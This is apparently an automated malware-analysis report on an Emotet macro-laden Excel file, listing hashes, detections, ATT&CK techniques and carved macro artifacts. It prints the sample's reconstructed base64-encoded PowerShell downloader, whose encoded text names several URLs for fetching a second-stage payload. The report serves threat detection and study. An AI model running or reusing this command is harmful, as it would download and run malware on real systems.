Emotet Office (OOXML) / .XLSX malware analysis — malicious · 953ae5e3dd47916e

MALICIOUS

Office (OOXML) / .XLSX

92.0 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 641781a4a283e111193dea39f797a987 SHA-1: daba0d21a1e31c0df831cfabb854cb7189c321a6 SHA-256: 953ae5e3dd47916ee8d062ae7400b0476b263125efa88e0ea7ff18fe342a3941

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Xls.Downloader.EmotetRed02221-9938910-0. The presence of a Workbook_Open macro and CreateObject calls indicates malicious intent. The embedded document body contains obfuscated commands that reconstruct to `powershell -e <base64_encoded_string>` and also includes commands to create and execute VBScript and batch files from the `C:\programdata` directory. The reconstructed command line `powershell -e nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAdABwADoALwAvAGgAbwBsAHUAYgB2AGkAZABlAG8ALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwB6AHBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQAYQBtAG8AdABvAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwBmAGEATgA5AC8ALABoAHQAdABwADoALwAvAGMAaABhAHMAdABvAG4AZwByAG8AZABpAHQAcwBrAGkALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAGsAUwBzAEMA` suggests the download of a second-stage payload from multiple URLs. The VBA script itself does not appear to perform direct malicious actions but is likely part of the initial infection chain.

Heuristics 5

ClamAV: Xls.Downloader.EmotetRed02221-9938910-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetRed02221-9938910-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `de7bcbc45ff0a77d05d9af662bacc316e71be11a980e94f6673e556a5dd9d1bc`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12808 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `086e7217b83491c5645f8eca87528d9ca02450fa766f5d53ad8e23e104d0adc9`	vba-project	OOXML VBA project: xl/vbaProject.bin	37888 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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